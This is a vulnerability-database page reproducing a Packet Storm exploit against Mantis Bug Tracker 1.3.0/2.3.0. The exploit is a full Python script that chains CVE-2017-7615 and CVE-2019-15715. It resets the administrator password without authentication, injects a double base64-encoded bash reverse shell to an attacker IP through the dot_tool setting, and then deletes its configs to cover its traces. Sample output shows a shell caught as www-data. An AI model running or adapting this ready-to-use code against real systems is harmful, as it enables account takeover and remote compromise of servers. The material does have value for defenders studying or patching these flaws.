Lucene search
K

๐Ÿ“„ Mantis Bug Tracker 2.3.0 Remote Code Execution

๐Ÿ—“๏ธย 18 Dec 2025ย 00:00:00Reported byย Elijah Mandila SyoyiTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 132ย Views

Mantis Bug Tracker 2.3.0 unauthenticated remote code execution via CVEs 2017-7615 and 2019-15715.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for OS Command Injection in Mantisbt
23 Jan 202621:45
โ€“githubexploit
0day.today
Mantis Bug Tracker 1.3.0/2.3.0 - Password Reset Exploit
17 Apr 201700:00
โ€“zdt
FreeBSD
mantis -- multiple vulnerabilities
28 Aug 201900:00
โ€“freebsd
Circl
CVE-2017-7615
16 Apr 201700:00
โ€“circl
CNVD
MantisBT Arbitrary Password Reset Vulnerability
18 Apr 201700:00
โ€“cnvd
CNVD
MantisBT Command Injection Vulnerability
10 Oct 201900:00
โ€“cnvd
Check Point Advisories
Mantis Bug Tracker verify.php confirm_hash Remote Password Reset (CVE-2017-7615)
15 May 201700:00
โ€“checkpoint_advisories
CVE
CVE-2017-7615
16 Apr 201714:45
โ€“cve
CVE
CVE-2019-15715
9 Oct 201919:20
โ€“cve
Cvelist
CVE-2017-7615
16 Apr 201714:45
โ€“cvelist
Rows per page
# Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
    # Date: 18/12/2025
    # Exploit Author: Elijah Mandila Syoyi
    # Vendor Homepage: https://mantisbt.org/
    # Software Link: https://mantisbt.org/download.php
    # Version: 1.3.0/2.3.0
    # Tested on: Ubuntu 16.04/19.10/20.04
    # CVE : CVE-2017-7615, CVE-2019-15715
    # References: 
    # https://mantisbt.org/bugs/view.php?id=26091
    # https://www.exploit-db.com/exploits/41890
    
    '''
    
    This exploit chains together two CVE's to achieve unauthenticated remote code execution.
    The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original https://www.exploit-db.com/exploits/41890.
    The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by 'permanull' (see references). 
    This is a modified version from Python2 to  Python3.
    Usage:
    Set netcat listener on port 4444
    Send exploit with "python exploit.py"
    
    Example output:
    
    kali@kali:~/Desktop$ python exploit.py 
    Successfully hijacked account!
    Successfully logged in!
    Triggering reverse shell
    Cleaning up
    Deleting the dot_tool config.
    Deleting the relationship_graph_enable config.
    Successfully cleaned up
    
    
    kali@kali:~/Desktop$ nc -nvlp 4444
    listening on [any] 4444 ...
    connect to [192.168.116.135] from (UNKNOWN) [192.168.116.151] 43978
    bash: cannot set terminal process group (835): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@ubuntu:/var/www/html/mantisbt-2.3.0$ id
    id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
    '''
    
    import requests
    from urllib.parse import quote_plus
    import base64
    from re import split
    
    
    class exploit():
    	def __init__(self):
    		self.s = requests.Session()
    		self.headers = dict() # Initialize the headers dictionary
    		self.RHOST = "192.168.100.61" # Victim IP
    		self.RPORT = "80" # Victim port
    		self.LHOST = "192.168.100.59" # Attacker IP
    		self.LPORT = "443" # Attacker Port
    		self.verify_user_id = "1" # User id for the target account
    		self.realname = "administrator" # Username to hijack
    		self.passwd = "password" # New password after account hijack
    		self.mantisLoc = "/" # Location of mantis in URL
    		self.b64builder = "bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1"
    		self.b64formated = self.b64builder.encode()
    		self.b64encoded = base64.b64encode(self.b64formated)
    		self.b64encoded2 = base64.b64encode(self.b64encoded)
    		self.b64encoded3 = self.b64encoded2.decode()
    		self.ReverseShell = "echo " + self.b64encoded3 + " | base64 -d | base64 -d | /bin/bash" 
    
    	def reset_login(self):
    		# Request # 1: Grab the account update token
    		url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash='
    		r = self.s.get(url=url,headers=self.headers)
    		if r.status_code == 404:
    			print( "ERROR: Unable to access password reset page")
    			exit()
    
    		account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1]
    
    		# Request # 2: Reset the account password
    		url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php'
    		data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd
    		self.headers.update({'Content-Type':'application/x-www-form-urlencoded'})
    		r = self.s.post(url=url, headers=self.headers, data=data)
    
    		if r.status_code == 200:
    			print( "Successfully hijacked account!")
    
    
    	def login(self):
    		data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
    		url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
    
    		r = self.s.post(url=url,headers=self.headers,data=data)
    		if "login_page.php" not in r.url:
    			print( "Successfully logged in!")
    
    
    	def CreateConfigOption(self, option, value):
    		# Get adm_config_set_token
    		url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php'
    		r = self.s.get(url=url, headers=self.headers)
    
    		adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1]
    
    		# Create config
    		data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus(value) + "&action=create&config_set=Create+Configuration+Option"
    		url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php'
    		r = self.s.post(url=url, headers=self.headers, data=data)		
    
    
    	def TriggerExploit(self):
    		print( "Triggering reverse shell")
    
    		url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'
    		try:
    			r = self.s.get(url=url,headers=self.headers, timeout=3)	
    		except:
    			pass	
    
    	def Cleanup(self):
    		# Delete the config settings that were created to send the reverse shell	
    		print("Cleaning up")
    
    		cleaned_up = False
    
    		cleanup = requests.Session()
    
    		CleanupHeaders = dict()
    		CleanupHeaders.update({'Content-Type':'application/x-www-form-urlencoded'})
    
    		data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
    		url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
    		r = cleanup.post(url=url,headers=CleanupHeaders,data=data)
    		
    		ConfigsToCleanup = ['dot_tool','relationship_graph_enable']
    		
    		for config in ConfigsToCleanup:
    			# Get adm_config_delete_token
    			url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php"
    			r = cleanup.get(url=url, headers=self.headers)
    			test = split('<!-- Repeated Info Rows -->',r.text)	
    			
    			# First element of the response list is garbage, delete it
    			del test[0]		
    				
    			cleanup_dict = dict()
    			for i in range(len(test)):
    				if config in test[i]:
    					cleanup_dict.update({'config_option':config})
    					cleanup_dict.update({'adm_config_delete_token':test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})
    					cleanup_dict.update({'user_id':test[i].split('name="user_id" value=')[1].split('"')[1]})
    					cleanup_dict.update({'project_id':test[i].split('name="project_id" value=')[1].split('"')[1]})		
    			
    			
    			# Delete the config
    			print( "Deleting the " + config + " config.")
    			
    			url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php"
    			data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict['user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict['config_option'] + "&_confirmed=1"
    			r = cleanup.post(url=url,headers=CleanupHeaders,data=data)
    			
    			#Confirm if actually cleaned up
    			r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php", headers=CleanupHeaders, verify=False)
    			if config in r.text:
    				cleaned_up = False
    			else:
    				cleaned_up = True
    			
    		if cleaned_up == True:
    			print( "Successfully cleaned up")
    		else:
    			print( "Unable to clean up configs")
    		
    			
    exploit = exploit()
    exploit.reset_login()
    exploit.login()
    exploit.CreateConfigOption(option="relationship_graph_enable",value="1")
    exploit.CreateConfigOption(option="dot_tool",value= exploit.ReverseShell + ';')
    exploit.TriggerExploit()
    exploit.Cleanup()

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Dec 2025 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 26.5
CVSS 3.18.8
EPSS0.92451
132